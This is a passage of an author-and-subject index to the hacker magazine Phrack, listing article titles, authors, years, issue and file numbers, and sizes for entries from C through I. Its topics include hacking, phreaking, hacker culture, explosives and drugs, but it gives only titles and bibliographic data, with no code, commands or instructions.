"Computerists Underground News Tabloid ‑ CUNT" 1987. I13 F8 11k Introduction/Index for I18‑19,32,34,35(co‑authored) F1 "Phrack Classic Spotlight featuring Knight Lightning" 1990. I32 F2 32k "Phrack Pro‑Phile on Ax Murderer" 1988. I18 F2 4k "Phrack Pro‑Phile on Shooting Shark" 1991 I33 F2 16k "Phrack World News" 1991. I33 F11 18k

"RSTS" 1990. I32 F9 23k

co‑authored

Introduction/Index for I18‑19,32,34,35 F1

"CSDC II ‑ Hardware Requirements" by The Executioner. 1987. I12 F6 8k

CULTURE (of hacking)

(See also International Scenes, Phrack World News, Phrack Pro‑Phile) "10th Chaos Computer Congress" by Manny E. Farber. 1994. I45 F13 23k "The ABCs of Better Hotel Staying" by Seven Up. 1994. I46 F25 12k "Acronyms [from Metal Shop Private BBS]" 1988. I20 F11 43k "Are You a Phone Geek" by Doom Prophet. 1987. I13 F7 9k

"Big BroTher Online" by Thumpr (Special thanks to Hatchet Molly). 1989. I23 F10

"Concerning Hackers Who Break Into Computer Systems" by Dorthy Denning. 1990. I32 F3 60k

"Computer Hackers Follow a Guttman‑Like Progression" by Richard C. Hollinger. 1988. I22 F7 10k

"Computerists Underground New Tabloids ‑ CUNT" by Crimson Death. 1987. I13 F8 11k

"The Conscience of a Hacker {Reprint}" by The Mentor. 1987. I14 F3 4k "Cyber Christ Meets Lady Luck Part I" by Winn Schwartau. 1994. I46 F19 45k "Cyber Christ Meets Lady Luck Part II" by Winn Schwartau. 1994. I46 F20 42k "Cyber Christ Bites The Big Apple" by Winn Schwartau. 1994. I46 F23 60k "Defcon Information" by Various Sources. 1995. I47 F9 28k "Defcon II Information" by Various Sources. 1994. I45 F14 26k "*ELITE* Access" by Dead Lord and Lord Digital(Lords Anonymous!). 1991. I36 F5 43k

"The Freedom of Information Act and You" by Vince Niel. 1992. I42 F12 42k "The Groom Lake Desert Rat" by PsychoSpy. 1994. I46 F21 44k "Hacker's Manifesto" by The Mentor. 1986. I7 F3 4k

"The History of The Legion of Doom" 1990. I31 F5 10k "HoHoCon" by Netta Gilboa. 1995. I47. F10 30k

"HoHoCon" by Count Zero. 1995. I48. F11 33k "HoHoCon"(review) by Various Sources. 1992. I42 F13 51k "HoHoCon Miscellany" by Various Sources. 1994. I45 F11 32k "HoHoCon Miscellany" by Various Sources. 1995. I47 F12 33k "Hollywood‑Style Bits & Bytes" by Richard Goodwin. 1994. I45 F17 50k "HOPE" by Erik Bloodaxe. 1994. I46 F22 51k

"How to Fuck Up The World ‑ A Parody" by Thomas Covenant. 1987. I13 F3 10k "The Judas Contract (Part 2 of The Vicious Circle Trilogy)" by Knight Lightning. 1988. I22 F3 26k

"LODCOM BBS Archive Info" by LOD. 1993. I43 F18 24k

"LOD Communications BBS Archive Information" by LOD. 1993. I44 F22 29k "The Legion of Doom & The Occult" by LOD and Demon Seed Elite. 1991 I36 F6 24k

"LODCOM Sample Messages" by LOD. 1993. I43 F19 52k

"The Making of a Hacker" by Framstag. 1989. I27 F7 9k "Metal/General Discussion [from Metal Shop Private BBS]" 1988. I20 F5 66k "New Users [from Metal Shop Private BBS]" 1988. I20 F9 17k "The Open Barn Door" by Douglas Walter(Newsweek). 1992. I39 F9 11k "Phrack Editorial on Microbashing" by The Nightstalker. 1988. I19 F6 6k "Phrack Inc./Gossip [from Metal Shop Private BBS]" 1988. I20 F6 56k "Phreak/Hack Sub [from Metal Shop Private BBS]" 1988. I20 F7 46k "Phreaks in Verse" by Sir Francis Drake. 1987. I13 F5 3k "Preview to Phrack 13‑The Life & Times of The Executioner" 1987. I12 F3 5k "R.A.G. ‑ Rodents are Gay" by Evil Jay. 1987. I13 F6 6k "Radio Free Berkley Information" 1994. I45 F24 35k

"RAGS ‑ The Best of Sexy Exy" 1987. I13 F9 19k

"Real Cyberpunks" by The Men From Mongo. 1991 I36 F9 13k "The Royal Court [from Metal Shop Private BBS]" 1988. I20 F10 3k "Scan Man's Rebuttal to Phrack World News" by Scan Man. 1987. I12 F9 17k "Searching for speciAL acceSs agentS" by Dr. Dude. 1991. I36 F7 18k "The Senator Markey Hearing Transcripts" by >Unknown User<. I45 F20 72k "Shadows of a Future Past (Part 1 of The Vicious Circle Trilogy)" by Knight Lightning. 1988. I21 F3 26k

"Social Engineering [from Metal Shop Private BBS]" 1988. I20 F8 19k "Subdivisions (Part 3 of The Vicious Circle Trilogy)" by Knight Lightning 1989. I23 F3 17k

"SummerCon 1992" by Knight Lightning and Dispater. 1992. I40 F11 35k "The Truth...and Nothing but the Truth" by Steve Fleming. 1996. I48 F16 19k "Timeline Featuring Taran King, Knight Lightning, Cheap Shades" 1988. I20 F3 3k

"A Trip to The NCSC" by Knight Lightning. 1990. I32 F7 16k "Welcome to Metal Shop Private" by Taran King, Knight Lightning, and Cheap Shades. 1988. I20 F4 37k

"Cyber Christ Meets Lady Luck Part I" by Winn Schwartau. 1994. I46 F19 45k "Cyber Christ Meets Lady Luck Part II" by Winn Schwartau. 1994. I46 F20 42k "Cyber Christ Bites The Big Apple" by Winn Schwartau. 1994. I46 F23 60k Cyber Neuron Limited co‑authored

"Covert Paths" 1989. I29 F5 4k

** D **

daemon9 authored

"IP‑Spoofing Demystified" 1996. I48 F13 25k "Netmon" 1996. I48 F15 21k

"Project Hades: TCP Weakness" 1996. I49 F7 38k "Project Neptune" 1996. I48 F13 52k

co‑authored

"Project Loki: ICMP Tunneling" 1996. I49 F7 38k

daemon9 was Pro‑Philed in 1996. I48 F5 23k

Damien Thorn authored

"Tandy/Radio Shack Cellular Phones" 1996. I48 F7 43k

Dark Overlord authored

"Sending Fakemail in Unix" 1989. I27 F8 2k "Snarfing Remote Files" 1989. I28 F6 5k

"Unix Cracking Tips" 1989. I25 F5 14k

Data Line authored

"Hacking RSTS". 1985. I2 F8 4k

"Ring Back Codes for The 314 NPA" 1985. I4 F2 1k "Signalling Systems Around The World" 1986. I3 F4 2k "Datapac" by Synapse. 1993. I44 F21 36k

Data Stream Cowboy authored

"Network Miscellany IV" 1992 I38 F5 30k

"Network Miscellany V" by Datastream Cowboy. 1992. I39 F4 34k "Phrack World News" Parts 1‑3 1992. I40 F12‑14 50,48,48k "Phrack World News" Parts 1‑3 1992. I41 F11‑13 46,49,43k "Phrack World News" 1992. I42 F14 29k

"Phrack World News" 1993. I43 F27 24k

"Phrack World News" 1993. I44 F27 22k

"Phrack World News" 1994. I45 F28 17k

"Phrack World News" 1994. I46 F28 38k

"Phrack World News" 1995. I47 F22 38k

"Phrack World News" 1996. I48 F18 21k

co‑authored

"Phrack World News" Parts 1‑3 1992. I38 F13‑15 34,32,33k "Phrack World News" Parts 1‑4 1992. I39 F10‑13 30,27,29,29k

"Data Tapping Made Easy" by Elric of Imrryr. 1988. I17 F9 4k

"A Day in The Life of a Warez Broker" by Xxxx Xxxxxxxx. 1995. I47 F20 13k "DBA Primer from American Hacker Magazine" 1995. I47 F16 45k

"DCL BBS Program" by Raoul. 1994. I45 F16 23k

"DCL Utilities for VMS Hackers" by The Mentor. 1988. I19 F2 23k "DCO Operating System" by mrnobody. 1997. I50 F14 16k

Dcypher wrote

"Key Trap v1.0 Keyboard Key Logger" 1994. I46 F26 35k

Dead Cow co‑authored

"Advanced Modem Oriented BBS Security" 1991. I34 F9 11k Dead Lord co‑authored

"Basic Concepts of Translation" 1989. I26 F6 20k "*ELITE* Access" 1991. I36 F5 43k

DEC (DECnets and oTher DECs)

"Crashing DEC‑10's" by The Mentor. 1986. I4 F6 5k

"DECnet Hackola : Remote Turist TTY (RTT)" by *Hobbit*. 1989. I30 F6 6k "Hacking DEC's" by Carrier Culprit. 1986. I5 F3 23k

"Looking Around in DECnet" by Deep Thought. 1989. I27 F6 14k "Multi‑User Chat Program for DEC‑10's" by TTY‑Man and The Mentor. 1986. I9 F7 7k

"Decnet Hackola : Remote Turist TTY (RTT)" by *Hobbit*. 1989. I30 F6 6k "The DECWRL Mail Gateway" by Dedicated Link. 1989. I30 F5 23k Dedicated Link authored

"The DECWRL Mail Gateway" 1989. I30 F5 23k "Network Progression" 1989. I24 F10 5k

Deep Thought authored

"Looking Around in DECnet" 1989. I27 F6 14k

"Defcon Information" by Various Sources. 1995. I47 F9 28k

"Defcon II Information" by Various Sources. 1994. I45 F14 26k Demon Seed Elite co‑authored

"The Legion of Doom & The Occult" 1991. I36 F6 24k "Dial‑Back Modem Security" by Elric of Imrryr. 1988. I17 F8 9k "DIALOG Information Network" by Brian Oblivion. 1992. I39 F5 43k "Digital Multiplexing Systems (Part 2)" by Control C. 1988. I19 F3 18k "Diet Phrack Loopback" by Phrack Staff. 1991. I36 F2 14k

"The Digital Telephony Proposal" by The FBI. 1992. I38 F11 34k

The Disk Jockey authored

"Advanced Carding XIV" 1987. I15 F4 12k

"Getting Caught: Legal Procedures" 1989. I26 F3 12k "Reading Trans‑Union Credit Reports" 1987. I16 F7 6k "Phrack Pro‑Phile on The Disk Jockey"(co‑authored) 1991. I34 F3 23k The Disk Jockey was Pro‑philed 1991. I34 F3 23k

Dispater authored

"A Real Functioning PEARL BOX Schematic" 1989. I28 F5 5k "Beating The Radar Rap Part 1/2" 1992. I27 F5 12k 44k "Beating The Radar Rap Part 2/2" 1992. I28 F6 5k 15k Introduction/Index I37,I38,40,41 F1

"Phrack Pro‑Phile on Aristotle" 1992. I38 F3 6k "Phrack Pro‑Phile on Shadow Hawk 1" 1992. I39 F3 8k "Phrack World News" 1991. I33(F12,13 28/25k) I34(F10,11 14/19k) I35(F10‑13 27,31,34,27k)

co‑authored

"Phrack Loopback" 1992. I40 F2 50k

"Phrack Loopback" 1992. I41 F2 52k

"Phrack Pro‑Phile on The Disk Jockey" 1991. I34 F3 23k "Phrack World News" Parts 1‑4 1992. I37 F11‑14 31,30,29,31k "Phrack World News" Parts 1‑3 1992. I38 F13‑15 34,32,33k Introduction/Index 29,I33,34 F1

"SummerCon 1992" 1992. I40 F11 35k

Disorder authored

"Phrack World News" 1996. I49 F16 109k

"DMS‑100" by Knight Lightning. 1986. I5 F5 8k

Doc Holiday authored

"Hacking Rolm's CBXII" 1990. I31 F3 15k Introduction/Index for I31 F1

"Knight Line I/Parts 1‑3" 1990. I32 F10 47k‑12

Docter Who was Pro‑Philed in 1993. I43 F6 15k

Doom Prophet authored

"Are You a Phone Geek?" 1987. I13 F7 9k

"Telephone Signalling Methods" 1987. I11 F8 8k "The Total Network Data System" 1987. I12 F5 13k co‑authored

"Automatic Number Identification" 1987. I10 F7 9k "Loop Maintenance Operations System" 1986. I9 F9 17k Dorthy Denning authored

"Concerning Hackers Who Break Into Computer Systems" 1990. I32 F3 60k Double Helix co‑authored

"How to Build a Paisley Box" 1987. I13 F4 5k

Douglas Walter(Newsweek) authored

"The Open Barn Door" 1992. I39 F9 11k

Dr. BOB authored

"A Guide to British Telecom's Caller ID Service" 1995. I47 F19 31k Dr. Crash authored

"The Technical Revolution" 1986. I6 F3 4k

Dr. Delam authored

"The MCX7700 PABX System" 1994. I45 F25 22k

co‑authored

"Gettin' Down 'N Dirty Wit Da GS/1" 1994. I46 25k

Dr. Dimitri Vulis authored

"Content‑Blind Cancelbot" I49 F9 40k

Dr. Doom authored

"The Integrated Services Digital Network" 1986. I8 F4 18k Dr. Dude(Dispater) co‑authored

"Introduction to Diet Phrack" 1991. I36. F1 8k "Searching for speciAL acceSs agentS" 1991. I36 F7 18k "Elite World News" I36 F10,11 23/26k

Dr. No‑Good authored

"Basic Commands for The VOS System" 1992. I37 F8 10k

DRUGS

"The Tried and True Home Production Method for Methamphetamine" by The Leftist. 1986. I4 F8 7k

"DTMF signalling and decoding" by Mr. Blue. 1997. I50 F13 17k

"Dun & Bradstreet Report on AT&T" submitted by Elric of Imrryr. 1988. I17 F2 24k

"Dun & Bradstreet Report on Pacific Telesis" submitted by Elric of Imrryr. 1988. I17 F3 26k

** E **

The Eavesdropper authored

"Control Office Administration of Enhanced 911 Service" 1989. I24 F5 22k

"Glossary Terminology for Enhanced 911 Service" 1989. I24 F6 12k "Eavesdropping" by Circle Lord. 1986. I3 F7 3k

EBA authored

"Cosmos Overview" 1990. I31 F6 52k

The Editor(s) authored

Introduction/Index I42 F1 14k

Introduction/Index I43 F1 24k

Introduction/Index I44 F1 16k

Introduction/Index I45 F1 17k

Introduction/Index I46 F1 17k

Introduction/Index I47 F1 16k

Introduction/Index I48 F1 13k

Introduction/Index I49 F1 7k

Introduction/Index I50 F1 9k

"Sara Gordon ‑vs‑ Kohntark Part I" 1993. I44 F11 12k "Sara Gordon ‑vs‑ Kohntark Part II" 1993. I44 F12 47k

Electronic Frontier Foundation authored

"The CompuServe Case" by Electronic Frontier Foundation. 1992. I37 F9 6k "Electronic Telephone Cards(Part 1)" by Stephane Bausson. 1996. I48 F10 39k "Electronic Telephone Cards(Part 2)" by Stephane Bausson. 1996. I48 F11 66k "*ELITE*" Access by Dead Lord and Lord Digital(Lords Anonymous!). 1991. I36 F5 43k

"Elite World News" br Docter Dude I36 F10,11 23/26k

Elric of Imrryr authored

"A Beginner's Guide to The IBM VM/370" 1987. I10 F4 4k "Data Tapping Made Easy" 1988. I17 F9 4k "Dial‑Back Modem Security" 1988. I17 F8 11k "Gelled Flame Fuels" 1987. I15 F5 12k Introduction/Index of I16 F1 2k

submitted

"Dun & Bradstreet Report on AT&T" 1988. I17 F2 24k "Dun & Bradstreet Report on Pacific Telesis" 1988. I17 F3 26k Emmanuel Goldstein authored

"No Time for Goodbyes" 1994. I45 F9 21k

Emmanuel Goldstein was Pro‑Philed in 1989. I29 F2 16k

Epsilon authored

"An Introduction to Packet Switched Networks" 1988. I18 F3 12k "Phrack World News" 1988. I18 F10‑11 I19 F8

Epsilon co‑authored

"Phrack World News" 1988. I21 F10 22k‑11

Equal Axis authored

"OTher Common Carriers; A List" 1989. I28 F7 8k

Erik Bloodaxe authored

"The Wonderful World of Pagers" 1994. I46 F8 "HOPE" 1994. I46 F22 51k

Erik Bloodaxe was Pro‑Philed in 1989. I28 F2 15k

Erudite authored

"AT&T Definity System 75/85" by Erudite. 1994. I46 F25 35k Evil Jay authored

"Hacking : OSL Systems" 1987. I12 F7 9k

"Hacking Primos I, II, III" 1987. I11 F7 7k "Hacking Primos Part I" 1987. I10 F6 11k

"R.A.G. ‑ Rodents are Gay" 1987. I13 F6 6k

The Executioner

"Preview to Phrack 13‑The Life & Times of The Executioner" 1987. I12 F3 5k

The Executioner authored

"Circuit Switched Digital Capability" 1987. I10 F5 12k "City‑Wide Centrex" 1986. I8 F3 14k

"CSDC II ‑ Hardware Requirements" 1987. I12 F6 8k "PACT: Prefix Access Code Translator" 1987. I11 F3 8k "Plant Measurements" 1986. I9 F6 13k

"Exploring Information‑America" by The Omega & White Knight. 1992. I37 F4 51k

EXPLOSIVES

"Bolt Bombs" by The Leftist. 1986. I5 F6 3k

"Gelled Flame Fuels" by Elric of Imrryr. 1987. I15 F5 12k "How to Make an Acetylene Bomb" by The Clashmaster. 1985. I1 F7 4k "How to Make TNT" by The Radical Rocker. 1986. I7 F6 2k "Making Shell Bombs" by Man‑Tooth. 1986. I3 F3 3k "Nitrogen‑Trioxide Explosive" by Signal Substain. 1988. I17 F4 7k "Smoke Bombs" by Alpine Kracker. 1986. I6 F6 2k

"extract.c" by Phrack Staff. 1997. I50 F16 2k

** F **

"Facility Assignment & Control Systems" by Phantom Phreaker. 1988. I19 F5 11k "False Identification" by Forest Ranger. 1986. I4 F3 3k

Federal Bureau of Investigations(FBI) authored

"The Digital Telephony Proposal" 1992. I38 F11 34k

"FEDIX On‑Line Information Service" by Fedix Upix. 1991 I33 F4 12k Fedix Upix authored "Fedix On‑line Information Service" 1991 I33 F4 12k "A Few Things About Networks" by Prime Suspect. I18 F9 21k

"The fingerd Trojan Horse" by Hitman Italy. 1994. I46 F12 32k

Firm G.R.A.S.P. authored

"Acronyms Part I" 1993. I43 F21 50k

"Acronyms Part II" 1993. I43 F22 51k

"Acronyms Part III" 1993. I43 F23 45k

"Acronyms Part IV" 1993. I43 F24 52k

"Acronyms Part V" 1993. I43 F25 46k

"Guide to 5ESS" 1993. I43 F16 63k

The Fixer wrote

"Box.exe for SoundBlasters"<unencoded> 1994. I45 F22 13k "The Fone Phreak's Revenge" by Iron Soldier. 1985. I1 F4 4k

Forest Ranger authored

"False Identification" 1986. I4 F3 3k

"Prevention of The Billing Office Blues" 1985. I2 F2 1k "Fortell Systems" by Phantom Phreaker. 1986. I3 F6 3k "Foundations on The Horizon; Chapter Two of FTSaga" by Knight Lightning. 1989. I23 F5 27k

Framstag authored

"The Making of a Hacker" 1989. I27 F7 9k

"Fraudulent Applications of 900 Services" by Co/Dec. 1994. I45 F18 15k Fred P. Graham co‑authored

"Can You Find Out If Your Telephone is Tapped?" 1989. I23 F9 20k "The Freedom of Information Act and You" by Vince Niel. 1992. I42 F12 42k "Frontiers; Chapter Four of FTSaga" by Knight Lightning. 1989. I24 F4 25k "Fun With Automatic Tellers" by The Mentor. 1986. I8 F7 7k

"Fun With The Centagram VMS Network" by Oryan Quest. 1986. I9 F3 4k "Fun With Lighters" by The Leftist. 1986. I6 F4 2k

"Future Trancendent Saga Index A" from The BITNET Services Library. 1989. I23 F6 14k

"Future Trancendent Saga Index B" from The BITNET Services Library. 1989. I23 F7 17k

FyberLyte authored

"NorThern Telecom's FMT‑150B/C/D" 1993. I44 F13 16k

** G **

"Gail Takes a Break" <unencoded .gif> 1993. I44 F25 49k

Gatsby authored

"A Hackers Guide to The Internet" 1991. I33 F3 45k

G.Tenet authored

"Useful Commands for The TP3010 Debug Port" 1992. I42 f7 28k "Gelled Flame Fuels" by Elric of Imrryr. 1987. I15 F5 12k

"Getting Caught: Legal Procedures" by The Disk Jockey. 1989. I26 F3 12k "Gettin' Down 'N Dirty Wit Da GS/1" By Maldoror & Dr. Delam. 1994. I46 25k "Getting Serious About VMS Hacking" by VAXBusters International. 1989. I23 F8 13k

G. Gilliss authored

"Introduction to CGI and CGI vulnerabilities" 1996. I49 F8 12k Gin Fizz co‑authored

"How to Pick Master Locks" 1985. I1 F6 2k

"The Glenayre GL3000 Paging and Voice retrieval System" by Armitage. 1995. I47 F14 25k

"Glossary Terminology for Enhanced 911 Service" by The Eavesdropper. 1989. I24 F6

Goe authored

"Hacking VM/CMS" 1989. I30 F4 58k

Grey Sorcerer authored

"How to Hack Cyber Systems" 1988. I17 F5 23k

"How to Hack HP2000's" 1988. I17 F6 3k

Grimace authored

"Phrack Pro‑Phile on Computer Cop" 1993. I43 F5 22k

"The Groom Lake Desert Rat" by PsychoSpy. 1994. I46 F21 44k

"Guide to 5ESS" by Firm G.R.A.S.P.. 1993. I43 F17 63k

"A Guide to British Telecom's Caller ID Service" by Dr. BOB 1995. I47 F19 31k "Guide to Data General's AOS/VS Part I" by Herd Beast. 1993. I44 F14 46k "Guide to Data General's AOS/VS Part II" by Herd Beast. 1993. I44 F15 30k "Guide to Encryption" by The Racketeer[HFC]. 1992. I42 F11 32k

"A Guide To Porno Boxes" By Carl Corey. 1994. I46 F10 13k

** H **

"The #hack FAQ (Part 1)" by Voyager. 1995. I47 F5 39k

"The #hack FAQ (Part 2)" by Voyager. 1995. I47 F6 38k

"The #hack FAQ (Part 3)" by Voyager. 1995. I47 F7 51k

"The #hack FAQ (Part 4)" by Voyager. 1995. I47 F8 47k

"A Hacker's Guide to Primos: Part 1" by Cosmos Kid. 1987. I16 F3 11k "Hacker's Manifesto" by The Mentor. 1986. I7 F3 4k

HACKING

(See also BANK FRAUD, COSMOS, CRACKING, CREDIT BUREAUS, CULTURE, DEC, HP, Phrack Pro‑Phile, Phrack World News, PHREAKING, PRIMOS, RSTS, UNIX, VAX/VMS, VM/CMS, VOICE MAIL, WIDE AREA NETS (Internet,BITNET,ArpaNet,Usenet,UUCP,etc), X.25 NETS (Telenet, Tymnet,etc.)

"25th Anniversary Index [of Phrack]" by Taran King, Knight Lightning and friends. 1989. I25 F2 15k

"Accessing Government Computers" by The Sorceress. 1988. I17 F7 9k "An Introduction to The DecServer 200" by Opticon. 1993. I44 F22 16k "The Art of Investigation" by Butler. 1990. I32 F4 18k

"AT&T Definity System 75/85" by Erudite. 1994. I46 F25 35k "Basic Concepts of Translation" by The Dead Lord and Chief Executive Officers. 1989. I26 F6 20k

"BELLCORE Information" by The Mad Phone‑Man. 1987. I16 F2 11k "Cracking NT Passwords" by Nihil. 1997. I50 F8 17k "CompuServe Info" by Morgoth and Lotus. 1986. I8 F6 8k

"CSDC II ‑ Hardware Requirements" by The Executioner. 1987. I12 F6 8k "Datapac" by Synapse. 1993. I44 F21 36k

"Data Tapping Made Easy" by Elric of Imrryr. 1988. I17 F9 4k "DBA Primer from American Hacker Magazine" 1995. I47 F16 45k "Dial‑Back Modem Security" by Elric of Imrryr. 1988. I17 F8 11k "The fingerd Trojan Horse" by Hitman Italy. 1994. I46 F12 32k "Getting Caught: Legal Procedures" by The Disk Jockey. 1989. I26 F3 12k "Gettin' Down 'N Dirty Wit Da GS/1" By Maldoror & Dr. Delam. 1994. I46 25k "Hacking AT&T System 75" by Scott Simpson. 1992. I41 F6 20k "Hacking CDC's Cyber" by Phrozen Ghost. 1988. I18 F5 12k "The #hack FAQ (Part 1)" by Voyager. 1995. I47 F5 39k

"The #hack FAQ (Part 2)" by Voyager. 1995. I47 F6 38k

"The #hack FAQ (Part 3)" by Voyager. 1995. I47 F7 51k

"The #hack FAQ (Part 4)" by Voyager. 1995. I47 F8 47k "Hacking GTN" by The Kurgan. 1987. I16 F4 7k

"Hackers Guide to The Internet" by The Gatsby 1991. I33 F2 45k "Hacking : OSL Systems" by Evil Jay. 1987. I12 F7 9k "Hacking: What's Legal and What's Not" by Hatchet Molly. 1989. I25 F8 12k "How to Hack Cyber Systems" by Grey Sorcerer. 1988. I17 F5 23k "How to Build a DMS‑10 Switch by The Cavalier. 1992 I41 23k "Inside Dialog" by Control C. 1986. I9 F5 8k

"Introduction to Videoconferencing" by Knight Lightning. 1986. I9 F8 11k "Key Trap v1.0 Keyboard Key Logger" by Dcypher. 1994. I46 F26 35k "Keytrap Revisisted" by Sendai. 1996. I48 F12 13k

"Legal Info" by Szechuan Death. 1994. I46 F9 13k

"A Little About Dialcom" by Herd Beast. 1994. I46 F14 29k "Netmon" by daemon9. 1996. I48 F15 21k

"Non‑Published Numbers" by Patrick Townsend. 1988. I21 F7 8k "A Novice's Guide to Hacking (1989. Edition)" by The Mentor. 1988. I22 F4 42k "PC Application Level Security" by Sideshow Bob. 1997. I50 F12 21k "The Phrack University Dialup List" by Phrack Staff. 1994. I46 F13 12k "Plant Measurement" by The Executioner. 1986. I9 F6 13k "Private Audience" by Overlord. 1986. I3 F5 13k

"Radio Hacking" by The Seker. 1986. I5 F8 3k

"Reading Trans‑Union Credit Reports" by The Disc Jockey. 1987. I16 F7 6k "Ring Back Codes for The 314 NPA" by Data Line. 1985. I4 F2 1k "Satellite Communications" by Scott Holiday. 1988. I21 F5 9k "School/College Computer Dial‑Ups" by Phantom Phreaker. 1985. I1 F8 4k "Searching The Dialog Information Service" by Al Capone. 1993. I44 F18 48k "Security Shortcomings of AppleShare Networks" by Bobby Zero. 1992. I41 F9 16k

"Simple Data Encryption or Digital Electronics 101" by The Leftist. 1987. I11 F5 4k

"Smashing The Stack For Fun And Profit" by Aleph1. 1996. I49 F14 66k "The Tele‑Pages" by Jester Sluggo. 1988. I21 F4 37k

"TTY Spoofing" by VaxBuster 1992. I41 F8 20k

"Western Union Telex, TWX, and Time Service" by Phone Phanatic. 1989. I30 F10

"Hacking AT&T System 75" by Scott Simpson. 1992. I41 F6 20k "Hackers Guide to The Internet" by The Gatsby 1991 I33 F3 45k "Hacking CDC's Cyber" by Phrozen Ghost. 1988. I18 F5 12k

"Hacking Chilton's Credimatic" by Ryche. 1986. I7 F4 8k

"Hacking DEC's" by Carrier Culprit. 1986. I5 F3 23k

"Hacking GTN" by The Kurgan. 1987. I16 F4 7k

"Hacking : OSL Systems" by Evil Jay. 1987. I12 F7 9k

"Hacking Primos I, II, III" by Evil Jay. 1987. I11 F7 7k

"Hacking Primos Part I" by Evil Jay. 1987. I10 F6 11k

"Hacking Rolm's CBXII" by Doc Holiday. 1990. I31 F3 15k

"Hacking RSTS" by Data Line. 1985. I2 F8 4k

"Hacking RSTS Part 1" by The Seker. 1986. I7 F5 12k

"Hacking and Tymnet" by SynThecide. 1989. I30 F3 20k

"Hacking VM/CMS" by Goe. 1989. I30 F4 58k

"Hacking Voice Mail Systems" by Black Knight from 713. 1987. I11 F4 6k "Hacking Voice Mail Systems" by Night Ranger. 1991. I34 F6 19k "Hacking: What's Legal and What's Not" by Hatchet Molly. 1989. I25 F8 12k "Hacking WWIV:The Complete Guide" by Inhuman. 1991 I34 F5 20k Halflife authored

"Linux TTY hijacking" 1997. I50 F5 15k

"Hand to Hand Combat" by Bad Boy in Black. 1986. I5 F4 13k "Hardwire Interfacing under Linux" by Professor. 1997. I50 F11 11k Hatchet Molly authored

"Hacking: What's Legal and What's Not" 1989. I25 F8 12k "Help for Verifying Novell Security" by Phrack Staff. 1993. I43 F11 48k Herd Beast authored

"Guide to Data General's AOS/VS Part I" 1993. I44 F14 46k "Guide to Data General's AOS/VS Part II" 1993. I44 F15 30k "A Little About Dialcom" 1994. I46 F14 29k

"Hiding Out Under Unix" by Black Tie Affair. 1989. I25 F6 9k

High Evolutionary authored

"Cellular Telephones" 1986. I6 F7 5k

"The History of The Legion of Doom" 1990. I31 F5 10k

"The History ah MOD" by Wing Ding. 1991 I36 F4 23k

Hitman Italy authored

"The fingerd Trojan Horse" 1994. I46 F12 32k

*Hobbit* authored

"Decnet Hackola : Remote Turist TTY (RTT)". 1989. I30 F6 6k "HoHoCon" by Netta Gilboa. 1995. I47. F10 30k

"HoHoCon" by Count Zero. 1995. I48. F11 33k

"HoHoCon"(review)by Various Sources. 1992. I42 F13 51k

"HoHoCon Miscellany" by Various Sources. 1994. I45 F11 32k "HoHoCon Miscellany" by Various Sources. 1995. I47 F12 33k "Hollywood‑Style Bits & Bytes" by Richard Goodwin. 1994. I45 F17 50k "Homemade Guns" by Man‑Tooth. 1985. I2 F3 7k

Homey The Hacker authored

"Phreaks in Verse" 1991. I36 F8 14k

"HOPE" by Erik Bloodaxe. 1994. I46 F22 51k

"How to Build a DMS‑10 Switch" by The Cavalier. 1992 I41 F7 23k "How to Build a Paisley Box" by Thomas Covenant and Double Helix. 1987. I13 F4 5k

"How To Hack Blackjack Part I" by Lex Luthor. 1993. I43 F9 52k "How To Hack Blackjack Part II" by Lex Luthor. 1993. I43 F10 50k "How to Fuck Up The World ‑ A Parody" by Thomas Covenant. 1987. I13 F3 10k "How to Hack Cyber Systems" by Grey Sorcerer. 1988. I17 F5 23k "How to Hack HP2000's" by Grey Sorcerer. 1988. I17 F6 3k

"How to Pick Master Locks" by Gin Fizz and Ninja NYC. 1985. I1 F6 2k "How to Make an Acetylene Bomb" by The Clashmaster. 1985. I1 F7 4k "How to Make TNT" by The Radical Rocker. 1986. I7 F6 2k

"How We Got Rich Through Electronic Funds Transfer" by Legion of Doom!. 1989. I29 F7

HP SERIES (HP2000, HP3000, HP9000 etc.)

"How to Hack HP2000's" by Grey Sorcerer. 1988. I17 F6 3k

** I **

Iceman authored

"NorThern Telecom's SL‑1" 1993. I44 18 30k

Ice Jay authored

"VisaNet Operations Part I" 1994. I46 F15 50k "VisaNet Operations Part 2" 1994. I46 F16 44k

Icon authored

"South Western Bell Lineman Word Codes" 1997. I49 F11 18k Infinite Loop authored

"LATA Referance List" 1991 I33 F5 11k

"Information About NT's FMT‑150/B/C/D" by Static. 1996. I48 F9 22k "An In‑Depth Guide in Hacking Unix" by Red Knight. 1988. I22 F5 35k "Inside Dialog" by Control C. 1986. I9 F5 8k

"Inside The SYSUAF.DAT File" by Pain Hertz. 1990. I32 F8 16k

"The Integrated Services Digital Network" by Dr. Doom. 1986. I8 F5 18k "International Scene" by Various Sources 1993. I43 F26 51k "International Scene" by Various Sources 1993. I43 F26 25k "International Scene" by Various Sources 1994. I45 F27 63k "International Scene" by Various Sources 1994. I46 F27 44k "International Scene" by Various Sources 1995. I47 F21 39k "International Scene" by Various Sources 1996. I48 F17 33k

INTERNET see WIDE AREA NETWORKS

"Internet Domains: FTSaga Appendix 3 (Limbo to Infinity)" by Phrack Inc. 1989. I26 F8 20k

"Interview With Agent Steal" by Agent 005. 1993. I44 F16 14k "Introduction to CGI and CGI vulnerabilities" by G. Gilliss. 1996. I49 F8 12k "An Introduction to The DecServer 200" by Opticon. 1993. I44 F22 16k "Introduction to the FedLine software system" by Parmaster. 1996. I49 F12 19k "Introduction to The Internet Protocols: Chapter Eight of The FTS" by Knight Lightning. 1989. I28 F3 39k

"Introduction to The Internet Protocols II: Chapter Nine of The FTS" by Knight Lightning. 1989. I29 F3 43k

"Introduction to MIDNET: Chapter Seven of The FTS" by Knight Lightning. 1989. I27 F3 35k

"Introduction to MILNET" by Brigadier General Swipe. 1991 I34 F7 8k "Introduction to Octel's ASPEN" by Optik Nerve. 1994. I45 F23 12k "An Introduction to Packet Switched Networks" by Epsilon. 1988. I18 F3 12k "Introduction of Phrack" by Taran King. 1985. I1 F1 2k "Introdcution to Telephony and PBX Systems" by Cavalier. 1996. I49 F5 100k "Intro to Packet Radio" by Larry Kollar. 1993. I44 F9 16k "Introduction to PBX's" by Knight Lightning. 1986. I3 F9 7k "Introduction to Videoconferencing" by Knight Lightning. 1986. I9 F8 11k Iron Soldier authored

"The Fone Phreak's Revenge" 1985. I1 F4 4k

Inhuman Authored

"The Complete Guide to Hacking WWIV" 1991. I34 F5 20k

"In Living Computer Starring Knight lightning" 1991. I36 F3 10k "IP‑Spoofing Demystified" by daemon9. 1996. I48 F13 25k

